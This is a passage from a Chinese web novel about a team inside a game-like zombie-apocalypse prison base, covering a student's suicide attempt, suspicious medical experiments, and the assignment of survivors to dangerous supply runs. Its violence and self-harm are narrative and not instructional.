也就是拿着圣水,依次给信徒洒水念经,念的经还挺长…起码在非信徒眼中,就是这么个事儿。 依次地祝福过去,代行者快走到第二排长椅的最后。 有人站到她面前,温知初这才抬眼。 还挺巧,来给她祝福的正好是那个新市议长。 新市议长注意到温知初耳侧的耳机线,有些惊讶地皱起眉头,而后道:“这位学生,如果你想接受祝福的话,请摘下耳机。” 温知初抬起手,但她没有摘下耳机,而是拿起了披在椅背上的外套。 因为口袋中的手机再次震动了起来。 似乎是那些外校生又在通过对讲机功能在联系她了。 不知道是不是因为南区和东区之间的距离太远,耳机里无法传来清晰的人声,只有嘈杂的沙沙声。 不过以防万一,温知初还是起了身。 新市议长以为她没听见,用手指向了自己的耳朵:“请摘下耳机。” “抱歉。”温知初垂眼望向她,“我还有事。” 她道:“借过。” 说完这句话后,她擦身而过,三步并成两步地,从台阶上走下去,推开门离开。 木门在风中发出“吱呀”的响声,祈祷室内神父的念经声戛然而止,烛火被穿堂风吹得乱动。 所有人都茫然地望向门口。 木门吹动着,跑动的脚步声远去。 · “卧槽卧槽,血,好多血!” “卧槽卧槽卧槽,他怎么又自杀了啊!” “真的幸好我们留神了!差点让他就死在那儿了!” 三个外校生在走廊上狂奔。 他们自从醒来后就一直死盯这个吴于心,看他一直没动静,还以为真的恢复正常了。 谁能想到,趁着他们上厕所的功夫,这人偷偷溜出通舍了。找了个僻静的房间,竟然拿出钢丝儿又自杀了。 幸好他们其中有一个学生没去上厕所,留神,跟了过去。 这次比昨天麻烦。 吴于心自杀的地点太偏僻了,他们没在附近找到推车,而且其他学生都不在这儿,没其他人帮忙,他们只能简单地给吴于心包扎后,背着他狂奔。 一人背着,两人扶着,以这 辈子最快的速度往中区医疗站跑。 那血哗啦啦地往下流,中区还是有段距离的,他们还得下楼梯,跑得气喘吁吁,背着人更是越跑越慢…跑不动了、真跑不动了… “副班!”有人喊。 迎面跑来一道修长的身影,副班一边跑来,一边扔下自己肩上斜挎的背包。 外校生没来得及惊讶,温知初开口:“我来。” 背包被扔到了地上,其他人赶忙把吴于心扶到了她背上。 一个起身,副班已经背着人下楼梯了,外校生赶忙追了过去。 一路滴着血。 不知道副班怎么做到的,三个没有背人的人愣是没追上一个背着人的人,眨眼的功夫,前面的身影就不见了。 后背上,吴于心不停地笑着。 他不停地重复着昨夜的话,有如诅咒。 “你们都会下地狱的!” “所有背叛、忤逆<深渊>的人,都会遭受到惩罚!” “你们会死得很痛苦!死后也不得安宁!” “凌迟般的死亡等待着你们!” “尤其是你和Yu…” <深渊>在透过吴于心的躯体诅咒他们。 确实,如果他死了,那么一切都结束了,无论是出口还是TRES所有人的性命,都将付诸一炬。 吴于心怨毒地望着温知初:“你以为能拖得了我一时,能拖得了我一世么。” 他不停地笑着,直到温知初停下了脚步。 还没到医疗站,只是站在了医疗站旁的楼道口。 一路上,一直对吴于心置若罔闻的温知初将其放下。 脸色苍白的吴于心被放到了角落。 温知初蹲下身,检查了下吴于心的手腕。被处理过、不至于立马死的程度。 吴于心:“怎么?副班你准备亲自医治我?” 温知初垂眼望着他,像是在透过他望向另外一个存在。 她平和地开口:“他不会再重蹈覆辙的。” 他指的是《深渊》怨恨着的Yu 。 她道:“我也是。” 吴于心阴毒地笑着:“算我提醒你,如果再不送我去医疗站,你们现在就可以重蹈覆辙了。” 重新陷入深渊。 温知初答非所指:“你这么割腕,不疼么?” “疼?”吴于心道,“这点疼,就当我看你们下地狱的门票了。” 温知初的语气很温和:“可我觉得这样下去,你只会一直受苦,你在深渊里,疼痛是不会终止的。” 她站起声,双眼的深黑变得浓郁:“我帮帮你吧。” 吴于心皱起眉,意识到有些不对劲:“你准备怎么帮我…” 话没能说完。 楼道口,传来几声闷响。 · 医疗站响起了警铃。 护士和医生奔走。 “又有人需要急救!” “外勤不是还没回来吗?” “不是外勤,又是昨天那个男学生!” “被另一个学生背过来了,快点抢救!” 大堂,温知初背着人站着,她的校服衬衫上染满了血,脸上也被沾上了血。 也许因为跑动的原因,她还在略微喘气。 “辛苦了学生!”医疗人员抬担架过来,把吴于心架上了担架。 一顿手忙脚乱,他们把昏迷过去的吴于心接走了。 事态比他们想象的还要严重。 “不是说割腕吗,怎么还有外伤?” “怎么了?” “很严重!他可能是摔哪儿骨折了,臂丛神经严重受损。” 臂丛神经受损,意味着可能会导致非永久瘫痪,严重的话永远就成了植物人了。 “这能是摔的,是不是撞哪儿了,还是被谁用钝器打了?” “不知道啊!赶紧抬进去!” 医疗站的声音如同潮水般涌向了手术间,而后逐渐平息。 大堂里不再有慌乱的脚步声。 大概两三个小时后,手术完的医护人员走了出来。 护士额头上还留着汗,看到了走廊尽头,那个送人过来的学生还站在那里等候,她走了过去。 护士走近那道静默的身影。 温知初抬眼。 护士放缓语气:“辛苦你了,幸好你送来得及时,要不然这人就救不回来了。” 可惜没办法彻底救回来。 他们这里没办法做及时且彻底的手术,仪器也不够、资源也不够,神经受损太严重,割腕的这人估计以后没办法再自由行动了。 衣服上的血都泅干了,副班脸上的血也斑驳着,看起来有些脆弱。 她望向手术室外,被抬出来的担架:“他怎么样?” 护士想了想,没忍心劝说实话:“暂时没有生命危险。” “谢谢。”温知初冷淡地道谢,收回了眼神。 “放心,”护士道,“这位学生不会死的。” 嗯。 但再也不会醒了。 第90章 “回来了, 回来了。” 外校生望着通舍的门口。 已经是下午一点了。 温知初回到自己的位置,放下背包。 身上的衣服还沾着血迹,脸上的血也没擦干净。 外校生有些忐忑地围了过去… “副班…” 温知初抬眼望向他们,轻轻地摇摇头,没有说更多。 她从背包里拿出几袋面包, 扔向他们, 外校生接过来, 又高兴起来:“谢了!” 温知初没再说什么,把毛巾和换洗衣物放进背包里,拎着背包出去了。 · 东区的淋浴间是刷卡才能进去的。 这会儿没人洗澡, 进淋浴间的只有温知初一个人。 血随着水一起往下冲刷。 资源紧张,能有水洗澡就不错了, 所以没有热水,只有冷水。 冬天的冷水几乎可以用刺人来形容。 水流从发梢往下流淌, 温知初闭上双眼,任由水流从自己的脸上淌过,神情平和而冷淡。 时间比她想象中的要快。 不知不觉,已经是第四轮域了。 这一轮里,所有人都是一个很难抽身的状态。 毕竟各自的关键事件节点都很多,还得分散着去看住不同的学生,这其中身体不好、精神状态不好的学生不止一个,还有那不知道什么时候会把人们拉去实验的终焉教… 以及马上就要分配的内勤和外勤。 这意味着更多的分散。 还有…层层防护中、从未露面的圣谕者。 从淋浴间出来, 走到了外面。 吹风机插座那里有个窗户, 大冬天的, 冷风从窗户外往里灌,吹得人很清醒。 今天的太阳挺大的,只不过一点都不暖和。 吹头发的时候, 终端亮了。 温知初抬起手腕。 是章诎共享过来的地图。 诎: [我用地图权限做的一个路线。 ] 诎: [通往圣谕者的路线。 ] 地图的中间,有太多的阻碍点,全都是武装人员。 就算这样,已经是章诎目前能找到的最优路线了。 诎: [我只是初步分享下,路线肯定还得优化。 ] 这么多阻碍,就算有九条命他们也闯不进去,而且能参与这次行动只有温知初和屈孚宁两个人。 诎: [这种路线是其中的一个方案,还有其他的方案路线,等权限开了我发给你们。 ] Wen:[好。 ] 回完消息后,她继续吹头发,额前的碎发垂落。 终端的消息声再次响起,这次是群里的消息。 Q:[吃中饭的时候遇到了那些武装人员,他们说晚上来通舍,会把分配内外勤的名单给我们。 ] 将铭: [晚上几点? ] Q : [应该不会像他们昨天说得那么晚,大概七八点? ] 队员们得尽量和学生们分配在一起。 Q:[我问过了,我们五十个人会被分配到现在缺人手的地方,但具体分到那里不确定,需要人的岗位挺多的。 ] 诎: [我们四个人无所谓,但是小温和孚宁尽可能要分到一个地方。 ] 其他四个人主要负责学生们的性命,温知初和屈孚宁需要去找圣谕者,他们作为唯二的人力,如果被打散, TRES的战力又得折损。 面对层层的防护,两个人已经够少了,不能再少了。 群里的消息响了会儿,没再有新的消息。 大概各自又去做任务了。 温知初提起背包,斜挎着,往回走。 · 副班长是一个过于被限制行动的角色,所有的关键事件节点都和独处有关。 回到通舍后,温知初本来想出去东区书橱那里再看看,受限于独处的节点,她只能待在通舍里。 打开那本看到中后部分的《钢铁终焉》,继续往后看。 “欸!” “同学,你怎么了!” 通舍里响起了喧闹声,温知初略微抬眼。 走道那里,有个男学生倒在地上,一群学生围在旁边。 “你怎么了?” 是那个经常犯低血糖的储见仲。 大家都知道他有低血糖,找枕头撑起他的上半身,拿糖喂他。 “你不是刚吃完中饭么,怎么又犯低血糖了?” 储见仲虚弱地吃着糖,脸色很苍白,一幅无精打采的模样,连说话的力气都没有,只是摇头。 “前几天没饭吃的时候你都撑过来了,怎么今天吃完饭反而低血糖了?” 储见仲吃了好几块巧克力,依旧瘫在地上四肢无力,他张着嘴,巧克力也不怎么能咽下去了,呼吸变得困难,似乎要吐的样子。 温知初收回视线。 如果是上一轮的她,作为班长,她会主动去解决这件事,但现在,班长不是她。 她倚靠在椅背上,将书页往后翻。 “班长。” 班长和体委穿过人群走过来,带着推车来的。 学生们把储见仲搬上推车。 “他到底是怎么了啊,为什么吃了这么多糖还这样?”学生们一边往外走一边问,“不会有事儿吧?” 将铭看了看:“餐后低血糖?” “去医疗站。”晏逾明言简意赅。 一群人离了通舍往外走。 将铭推车的动作挺稳定的,但推动车子的速度越来越快,学生们跟着跑。 严重的低血糖可能要人命,尽管概率很低,他不会拿任务的失败来打赌。 通舍里的人几乎都出去了,室内变得异常安静,只剩下角落里、温知初手上的翻书声。 · 医疗站里的人给储见仲注射了高浓度的葡萄糖。 学生们都回去了,只剩下班长和体委还在等着。 储见仲缓了会儿,终于能坐起身,紧接着被医生拉去体检。 “医生,”储见仲的声音还是很虚弱,站起来时需要人扶,“我不是测过血糖了么,还得做其他体检?” 几个医护人员没过多解释,把人给拉走了。 门一关,晏逾明和将铭在外面等着。 医护人员:“两位学生,你们可以不用等,他已经恢复好了,体检完我们会送他回去。” 话是这么说,两个人都没走。 等了大概有十几分钟,体检室里一直很安静。 太安静了。 门外的两个人交换了个眼神,将铭的手放在门把手上,直接打开门。 “非医疗人员不能入内!”里面传来医生的吼声,“没看到门外写着什么吗!” 里面人高马大的一个医疗人员要把门关上,晏逾明的鞋子抵在了门边,那人怎么都关不上门,晏逾明抵开门,门框发出“哐当”一声响,将铭也跟着进去。 座椅上,储见仲闭着双眼,颈部往下垂,显然已经没了意识,他的手腕上连着输血管,正在源源不断地往外输血。 将铭一个步子跨过去,立马把血袋旁边的滚轮夹给关了,拔掉针头。 关门的那个高个子想追过去,晏逾明踢倒凳子,那人被绊倒,哐当一声摔在地上。 体检室里一共三个医护人员,全停止了动作。 医护人员:“干什么!” 他们吼道:“这里不是你们可以胡闹的地方!” 体检室的门框裂开了些,椅子上的储见仲似乎被这动静给吵醒了,迷迷糊糊睁开眼,失血又低血糖的后遗症让他不太清醒:“这是怎么了…” 不是在体检么… 在将铭还有所动作前,医护人员把血袋取走了。 将铭:“这就是你们说的体检?” 医护人员:“不知道血常规么?” 将铭:“哪家医院测血常规用血袋这个量抽血?” 拿血袋的医护人员没准备解释太多,翻了个白眼,把血袋扔进冷藏箱里。 他并不忌惮这几个学生:“体检完了,你们可以把人带走了。” 将铭冷笑一声:“不是说全面体检吗?怎么不做尿常规?” 没一个医护人员说话,医疗室里冷冰冰的。 站在门口的班长用指背敲了敲门,将铭看过去。 晏逾明:“走了。” 他们就两个人,并不是久留的时候。 只是几个学生,怎么可能等来什么合理的解释。 一直晕乎乎的储见仲有些恢复意识了,他有些局促地道:“走吧…” 他自己站不起来:“体委,能请你扶我一把么…” 将铭的手穿过他的臂弯,把他拉起来,储见仲连续地吸着气,人还懵着。 他刚才一进医疗室,就被三个人给按在了椅子上,动弹不得,先是被人打了一针,不知道输入了什么,然后又被抽血。 这根本不是什么体检。 不过他也不敢说什么,当即只想离开这个地方。 “你还被打了一针?”扶着储见仲的将铭停下脚步,望向那些医护人员,“你们是在拿他做实验吗?” 其中一个医护人员立刻冷下脸:“小同学,话不能乱说。” 将铭面无表情:“那你解释解释,体检打什么针?” 医护人员:“能是什么,普通的营养针罢了。” 储见仲眼神慌乱,低声道:“体委,我们赶紧走吧…”他担心这些人又把他按下来重新抽血。 将铭没走,性格比较冲动的体委不仅不会走,而且直接放下了储见仲,重新走进去,三步并成两步,直接把垃圾桶里的注射药给捡了出来。 透明瓶子,里面还有三分之一的液体,表面的标签被撕了。 他动作太快,医护人员没反应过来,他人已经把瓶子给拿走了。 “干什么你这是!” 一声怒吼后,几个医护人员走过来,围住他,要把药瓶抢走。 医护人员的动作很急,争执中,透明瓶子掉落在地,里面的药液溅出来,散发刺鼻的腥臭味。 瓶子其实是将铭故意摔出手,他知道受限于剧情设定,自己拿不走。 他刚开始是想看标签,既然没有标签,那就打碎了,闻闻味道。 这果然不是什么普通的药液。 将铭后退几步,躲开暴怒的医疗人员,举起双手:“失手了,是你们非要抢。” 他嗤笑:“不是说只是普通的营养针么,你们这么着急干什么?” 医护人员很生气,高个子的那个一看就不是什么正经医护人员,不停地骂着脏话:“你的脸我记住了,以后如果你出外勤,无论出什么事,受了什么伤,我们医疗站绝对不会治疗你!” 他们把人往外赶。 体委笑着:“托你吉言。” 他道:“那我希望我以后再也不用受伤,那就不用来你这儿打营养针了。” 门“哐当”被关上。 将铭立马收回了属于体委的嬉皮笑脸,他望向储见仲:“没事吧?” 晏逾明也淡淡地望向储见仲。 储见仲的脸色倒是比刚才红润了些,他摸了摸自己的肚子,一边往外走一边说:“好像…没事儿?” 确实没啥感觉。 三人离开医疗站。 走了段时间,他问储见仲:“现在呢?” 他问:“身体正常?” “好像是正常的。”储见仲道,“而且有种、有种…” 将铭:“怎么了?” 储见仲:“就是有种喝了咖啡的感觉,感觉身体热热的,有种特别有精神的感觉。” 自从丧失潮爆发,长期营养不良的他已经很久没有这种精力充沛的感觉了。 “以后如果这些医疗人员再来找你,”将铭单手拎着储见仲往前走,“如果我们在,找我们,如果我们不在,躲着点。” 他道:“身体如果有任何异常,也记得来找我们。” “撑住。”晏逾明散漫地开口,“可别死了。” 储见仲很感动:“班长,体委…” 班长和体委人真好。 储见仲:“我一定保重身体。” 如果他仔细看班长的双眼,会发现这双淡漠的双眼中并没有什么温情,有的只是冰冷的公事公办,还有些不明显的不耐烦。 他只在乎第四轮域里,这个人别死了,拖累他。 事件关键节点的声音一结束,晏逾明没有再开口。 将铭还沉浸在思考中,一边扶着人一边想刚才的事。 如果不是因为关键事件节点的束缚,他们其实一开始就会跟进体检室里,就不会有输液、抽血的事发生。 可惜<深渊>绝对不会让这种事发生。 所以刚才输入的药液到底是什么? 会导致局面的改变么?对储见仲真的没有影响么? 将铭再次抬头的时候,发现走道里只剩下他和储见仲,班长不知道什么时候已经离开了。 他没太在意,再次望向储见仲:“你确定你身体没问题么?” 储见仲停下脚步,再次感应了下自己的身体:“好像真没事儿。” 除了有些兴奋外,再没其他感觉了,和喝完咖啡的感觉特别类似,如果刚才没抽血,他估计现在都想跑几步。 他重复道:“真没事儿了。” 估计营养针就那味儿呢…毕竟蛋白质容易臭呢…他胡思乱想着。 · 不知不觉已经是下午了。 通舍里很安静,莫名能闻到一股烟味,大概是北区焚烧尸体的味道飘了过来,呛人气味中带点儿腐臭,不少人在咳嗽,赶忙把窗户都关上。 房间里没开灯,窗户很小,只有一点点夕阳的余晖从外面透进来。 温知初出不去,一整个下午,就这么倚靠在窗边看着《钢铁终焉》,密密麻麻的文字中,也许暗藏着某些寓意。 晦暗的光影在书页上翕动。 走道间有脚步声响起,有人出去吃晚饭了,声音不算大,来来往往的脚步声和交谈声像极了白噪音,毕竟没有人朝她这个方向走,她这里还算静谧。 书页又往后翻了一页。 这次的脚步声却在背后响起了。 “怎么不开灯?”声音在身后响起。 还没等温知初反应过来,那道高大修长的身影已经在她身旁的椅子落座,两个椅子之间的距离很近,他的声音几乎擦着她的耳畔响起的。 温知初下意识地想要坐直,不过没动。 班长。 晏逾明把旁边的台灯打开,两人靠得有些过于近的身影被灯光投照在墙上。 甚至有一部分的身影是重叠的,因为晏逾明的身体略微前倾,他的胳膊绕过温知初的肩,骨节分明的手指按住了她手中的书,看了眼封皮:“还在看这本?” 近到能闻到从医疗站带回来的消毒水气味。 温知初沉默了会儿:“嗯。” 算是回答过了。 不知道为什么,她的视线一直垂落在书页上,似乎在努力忽视身侧的班长,还有他的呼吸声。 晏逾明的座位略后于她,她看不清他的视线所在,只知道他没走,也许是也在看她手中的书。 又往后翻了一页,这些字似乎更密密麻麻了,这一页上没有插图。 但其实晏逾明并没有看那些字。 他瞥了一眼周围:“药吃了么?” 又是一段沉默。 温知初:“吃了。” 是实话。确实是吃了,低烧也已经退了。 晏逾明的视线落在温知初身上:“药不管用?” 温知初没明白:“挺管用的。” 晏逾明的视线没挪动:“那为什么你的耳朵这么红?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 034号:[!] 034号: [你终于发现了么! ] 几乎是班长话音落下的同一刻, 温知初顿了顿,她把卫衣兜帽拉了上去。 她的视线从始至终没有从书页上离开过,但耳朵却似乎更充血了。 谁也没想到他会突然说这些。 “可能太热了。”温知初应声,语气听起来似乎没什么变化, “和发烧没什么关系…” 她话没说完, 班长的手背已经覆在了她的额头上:“确实是退烧了。” 他的视线依旧落在温知初身上:“热的话为什么戴帽子?” 温知初:“……” 又是一段沉默, 她修长的手指把书页翻到了下一页:“因为我看书的时候一直有人在旁边说些有的没的?” 她略微坐直身,把耳机戴上:“如果没什么重要的事,班长,你可以走了。” 身后传来一声低笑,因为隔着帽子,听得不是很真切。 晏逾明站起身,没再说什么,离开了。 通舍的角落再次恢复僻静,台灯将温知初安静的身影投射在墙上,晦暗不明,等人走了,她把另一只耳机也戴上,隔绝不远处窸窸窣窣的脚步声。 兜帽也被摘下来,原本有些泛红的耳尖已经不再有任何温度,就好像刚才短暂的升温只是幻觉。 [话说我觉得小温确实挺容易红耳朵的, 和她比较稳定的性格不太同, 有点儿反差。 ] [而且挺巧的, 我看Focus镜头, 只有班长在周围的时候,她才会这样。 ] [我也容易红耳朵,其实只是上火或者内热吧。 ] [是啊,她的语气和神情都那副原样,说明耳朵红不是情绪的表达,有的人本来就容易耳朵红…总不可能她是因为班长而有什么情绪。 ] [同意,应该是年轻人火气比较容易旺盛的原因吧。 ] 晚饭结束后,大多人回到通舍,都是年轻的学生,聚在一起,在这种相对安全的环境中,难免有些吵闹,隔壁的市民来窜门,还带来了扑克牌,一时间嘈杂声不绝。 温知初把卫衣兜帽重新戴上了,垂首继续翻手中离看完还需要一段时间的书。 “一对A。” “别出老千啊,我看到你别牌了,什么意思,欺负我们年纪小是不是。” “不好意思啊,我不小心嘛。” “炸弹!” 这种嘈杂,随着武装人员的到来停止了。 武装人员按照昨天所说的,过来通知大家内外勤的分配。 一共来了五个人,一个军官后面带着四个兵士,手中拿着通告表挨个地点名,告诉市民和学生他们各自的分配。 武装人员:“注意啊,分配到外勤的明天就得跟着出基地,你们今天晚上早点儿休息,明天凌晨五点就得起。” 听到这个消息,想到外面层层的丧尸潮,不少人的神情立马紧张起来。 有市民问:“具体是什么外勤?” 武装人员:“说完分配再具体说。” 温知初抬起头,望向那些武装人员,身体往后靠到椅背,等待自己的分配。 底下坐着的学生,听到自己被分到内勤的拳头都紧紧地攥起,再松口气,而但凡听到自己被分到外勤的全惶恐地皱眉。 才休息了一天就得出去做事儿,还没接受过什么正规的培训,是个人都怕。 “储见仲。” “到。” “你,内勤。” “好、好好…” “邱任望。” “到。” “外勤。” “屈孚宁。” “到。” “内勤。” …… 目前被报到的名字里,章诎和将铭也被分到了内勤。 晏逾明被分到了外勤。 温知初的名字还久久没有被提到,她等待着。 从目前的分配来看,似乎身体弱些的肯定都被分在了内勤,身体强壮些的都被分在了外勤,但也不一定…也有身材高大的人被留下来当内勤了,小个子的学生反而需要出外勤。 譬如陈玉清,她甚至有疾病史。 最适合到医务室当内勤的校医竟然被分配到了外勤。 没什么规律。 邱任望皱起眉,朝屈孚宁看了一眼,又望向温知初。 他本来以为小温留下来的概率会比较大,现在听名单的分配倒是有些不确定了…这两个人,是要去找圣谕者的,都必须得留下啊… 武装人员继续报名字,又有人被分到外勤了,有学生应激地喊出声。 没人想出去。 带头的武装人员摇了摇头:“你们这些年轻人不要这么没出息,让你们出外勤是一个出去锻炼的好机会,不是要你们的命。” 有学生问:“可以不去吗…” “可以啊。”武装人员道,“不想为大家做事儿的话就直接离开这里呗,我们不养废人。” 这话落下,没人再敢出声。 “别太怂。”武装人员开口,“算了,我直接告诉你们出去干什么吧,别都战战兢兢的,我十几岁的时候可不像你们这样怕这儿怕那儿的。” 他道:“明天我们要去十公里外的一个地方运物资,以前是一个厂房,已经有人去探过路了,物资非常多,所以这次我们需要带五十个左右的外勤去帮忙搬运。” 听起来挺简单的。 但考虑到中间的路障、绕路、清理、以及丧尸潮…尤其是搬运时很有可能和丧尸直面迎击这些点…半点都不轻松。 是生命风险极高的活儿。 现在这个时代,人力、人命就是耗材。 这就是外勤。 说完明天要做什么,通舍里更安静了。 名单只剩下几个人的名字,武装人员一个个地往下报,一直没报到温知初的名字。 到最后一个了。 邱任望一直在心里计数着,如果外勤和内勤人数对半分的话,最后一个应该会被分到内勤… “温知初。” 武装人员:“外勤。” 温知初抬眼,冷淡地应了一声:“收到。” · 大事不妙。 章诎和屈孚宁站在通舍外的走廊旁,章诎的肩膀挎在屈孚宁的肩上,背过身,两人装作一幅在聊趣事的模样避开别人的打量,其实背过学生们的脸上表情都不怎么好。 “小温没能留下来。”章诎道,“这事儿不怎么妙。” 确实不怎么妙。 一共就两个能执行圣谕者任务的队员Vent位,现在少了一个,这怎么办…少的还是温知初,队里行动力最强的那个。 屈孚宁低声问:“小温呢?” 本该他们三个人都来这走廊,讨论接下来的事。 “她来不了。”章诎透过窗户往通舍里看,“受限于事件节点,不太能和人群相处,过会儿我终端和她说。” 他们各自也有其他的事件关键节点需要完成,最多只有十分钟的空闲聊天时间,两人的语速都很快。 主要是讨论新的通往南区的路线,南区,圣谕者所在的地方。 “我长话短说,用地图找到了两条最优路线。”章诎道,“一条水道,一条天花板上的管道。” 两条道路有重叠的地方。水道的起点是北区边界的河,外能直接出监狱基地,内可以往基地深处游走,另一个通道是掀开天花板,从东区的通风管道往南区内走。 都不是什么容易的路,但很大可能可以绕开那些武装人员。 起码能避开大部分火力。 章诎:“其实两条路线都有风险,我本来觉得你们一人一条路线去试探比较好,可是现在小温她…” “我来。”屈孚宁道,“明天我去试通风管道。” “别急。”章诎道,“他们这里内勤查得严,你明天先出内勤,然后找机会再去。” 屈孚宁考虑到了:“我知道。” 章诎还在想着温知初的事儿,有些分神:“你说这内外勤试根据什么分的,看起来并不像是完全按照体力、体质来分的。” 屈孚宁:“重要的实验品他们不会带出去出外勤的。” 毕竟珍贵的实验品,他们会留着取样。 “不一定。”章诎道,“从另外一个救援点的死亡情况来看,他们不一定只需要活着的实验品,有可能也需要死亡的实验品,在外面,人的死亡可以不知不觉,且合情合理。” 他们不是终焉教,不知道终焉教到底想促使什么样的境况和格局。 当务之急,一是不能让出外勤的学生死在外面,二是去找到那从未没被人见过的圣谕者。 十分钟快结束。 章诎拍了拍屈孚宁的肩:“你一个人做任务太危险了,之后如果遇到任何危险一定要及时联系,不要像上次小温那样一个人承担,我们会兑换剧情脱离去救你。” 屈孚宁点头:“我会尽力的。” 章诎:“一切小心。” 嘶…一个人终究是太危险了。 如果温知初没有被分到外勤就好了,这一被分出去,得什么时候才能回来啊…四个队员都被分到外面,力量不均衡… 事情还有转圜的余地吗? 章诎摇了摇头,叹了口气。 · 这一夜,显然许多人没睡好。 四号,凌晨五点的闹钟声响起,通舍里一片漆黑,分到内勤的人被吵醒后还能继续睡,被分到外勤的人急急忙忙收拾好,必须要离开床铺。 “出外集合!” 大门被推开,武装人员在外面等着。 没多长时间收拾,在武装人员的催促下,学生们排成队往外跑,跑到铁门外站好。 天还没亮,寒风呼啸,冻得人天灵盖都疼,眼睛都没看清外面的景象,就被赶到卡车上排排坐。 一共三辆卡车,两辆运物资装人的重型中卡,一辆探路的皮卡。 温知初踏上车厢的时候,车里面两排都已经坐满了,还剩靠尾门最冷的两个位置空着。 她对上一双眼。 班长在就近的位置坐着,看了眼她,又看了眼自己身旁的空位:“一起坐?” 一共就两个空位了,一个班长旁边的,一个最靠风口的,三个位置都连在一起。 班长左边坐着的一个男学生也跟着探出头:“副班,一起坐?” 温知初走过去,眼神淡淡地从班长脸上掠过,像没听到他们的邀请,把背包放在风口那个位置。 学生:“……” 温知初坐下,尾门的风确实很大,她把卫衣兜帽戴上,用围巾固定住帽子,耳机塞在耳侧,她往外看。 外面的武装人员还没上车,不知道在讨论着什么。 她身旁的位置有人落座了,是个普通市民,看样子像是有点儿害怕,一直低声嚷嚷着不想出去。 出去了,就不知道能不能回来了。 晏逾明侧身盯着温知初,像是在想着些什么,他打断身旁男人的低声囔囔:“换个位置?” 这市民没听见,因为他一直埋着头祈祷,已经到达忘我的境界。 邱任望却听见了。 他听见的不是Yu的话,而是外面武装人员的声音,他们好像终于注意到了外勤和内勤分配不均,外勤被多分了一个人,内勤少了一个人手。 其中一个武装人员:“带出去呗,五十一个就五十一个,搬物资需要人。” 另一个:“我也这么想的,但内勤他们今天要去北区清理尸体,他们也需要人,人不够的话也会出问题。” 有人“啧”了声,最终的讨论结果是得留一个人在基地。 邱任望听见后,立马站起身走到尾门。 武装人员果然来了:“北区清理还少一个人,有没有人愿意留下的?” 当然有人,小温必须留下来。 终于有了转机,但按照副班这个人设,她肯定不会主动说留下。 邱任望立马抬起温知初的胳膊:“她,她!” 武装人员的视线扫了过来。 “就你了。”他指向温知初左手边的那个市民,“下车。” 最先出声的明明是邱任望,但武装人员心里显然早就准备好答案。 邱任望愣了愣,看着那个不断祈祷的男人下车了。 温知初看了邱任望一眼,抽回自己的胳膊。 第92章 这个答案并不意外。 <深渊>怎么可能让温知初走,就算有转机也不可能是给TRES的转机。 “别走动了。”武装人员上车,“坐回自己的位置!” 武装人员的位置是既定的,坐在最里面。 温知初旁边的位置空了。 武装人员一上车, 卡车就开始往外开, 过了一道道来时的防线门, 越过岗哨, 走出了北区的大门, 彻底离开终焉教的监狱基地。 车身颠簸,寒风从外面往里灌,呼啸吹得尾门附近的人直打颤,坐在风口的温知初却像是没有知觉一样,慵懒地倚靠在车厢壁,围巾遮住了她的神情,她闭着双眼,应该是在闭目养神。 旁边的空位却有了动静。 班长坐下了。 他转身垂眼,看了温知初一眼,修长的胳膊越过她,沉重的尾门在“咯噔”声中被阖上。 风终于停了。 门阖上的动静不小,温知初睁开双眼,正好和晏逾明对视上了,她瞥了一眼,从邻座的身上挪开眼神。 晏逾明:“不冷么?” 温知初没有回答, 重新闭上了双眼。 对于副班长来说, 班长的善意哪怕是真的, 也有些太多管闲事了。 班长倒是不在意她的沉默,大抵也是习惯了。 车里开始分早饭,武装人员把背包里的压缩饼干往外传, 按理说每个人应该能分到一小袋。 但食物显然没带够,大家还得把袋子里的拆开来分。 这种时候,班长一向是那种会主动把食物分给其他人的存在。 “班长,你不吃么?” “没事,你拿走。” 耳机里根本没有音乐,传来大抵如此的对话。 温知初也拿到了压缩饼干,手心里颠一颠,还挺沉。 车厢内变得安静,一群人已经各自开始吃起来了。 温知初打开水瓶,灌了一口水,水被冻得跟冰水似的,很提神。 分完食物的班长坐回来,回来时,他刚才的位置被背包占了。 副班长的背包。 显然是想隔开他。 他看了温知初一眼,坐回刚开始的位置,隔着背包的两人,像往常一样平静而沉默。 卡车颠簸着,外面逐渐响起骇然的丧尸咆哮声,从尾门的缝隙往外看,能看到道路上不断有丧尸朝卡车涌来,从四面八方想要往这辆颠簸行驶的卡车上扑,偶尔真的有上来的,“砰”得一声砸向车厢壁,引起一阵震动,车厢内有人发出尖叫声。 武装人员:“小声点,别少见多怪。” 嘈杂声中。 “喂。” 晏逾明看向发出声音的右侧,卫衣帽下的双眼看着他,还没等他回答,压缩饼干被温知初扔给了他。 他下意识地接住,明白了她的意思。 晏逾明盯着她,低沉的声音响起:“我不饿。” 两个人的身影都随着车身的颠簸而略微晃动。 她知道他是人,是人就会饿。 温知初:“给你了。” 她一边重新戴回耳机一边淡淡地开口:“很难吃。” · 车摇晃着。 因为道路的阻塞和丧尸的集中,卡车已经绕了好几次路,车上的人也被喊下去清过几次路障。 车门再次被关上,卡车重新行驶。 为首的是探路的轻型皮卡,后面跟着两辆用来载人载物的军卡。 不断有丧尸撞着想要跳上卡车,声带嘶吼的声音近在咫尺,它们因为抓不稳卡车被甩到地上,却不停再次往上扑。 温知初透过尾门的缝隙往外看。 刚才经过高架桥洞的时候,桥上跳下来不少丧尸,跟大雨一样劈里啪啦跳到车顶上,现在还在不停发出吼叫声、剐蹭车顶。 腥臭味仿佛穿过车顶要扎进来,一片嘈杂,几乎能想象得出那些攀附在车顶的扭曲身影。 现在还能隔一层车皮,等到了目的地,就得直面这些东西了。 车厢内的学生听着市民不停祈祷。 已经开出去几个小时了。 在这一片嘈杂中,温知初的终端亮了。 是屈孚宁。 孚:[我出发了。 ] 简单明了的四个字,交代了基地里的情况。 温知初的视线缓慢地从终端光屏上移开,她抿了抿唇线,沉默着,似乎在想着些什么。 [屈孚宁已经开始行动了。 ] [真的只有他一个人去找圣谕者么,太危险了吧? ] [没办法啊,<深渊>不可能让温知初留下来的。 ] [我看小温一言不发的样子,她不着急么? ] [她性格一直都比较沉稳,就算想什么你也看不出来啊。 ] [着急也没用,事情已经是定局了。 ] [我不这么觉得,以我对小温的了解,她现在这种沉默的状态,就是在思考怎么回去。 ] [我也觉得,从昨天公布她是外勤的时候,她肯定就在想办法。 ] [按照小温的性格,她绝对不可能让屈孚宁一个人去做核心任务。 ] [可是没办法啊,怎么回去? ] [对啊,这么多武装人员看着,怎么可能回去? ] 更雪上加霜的是外勤的日程安排。 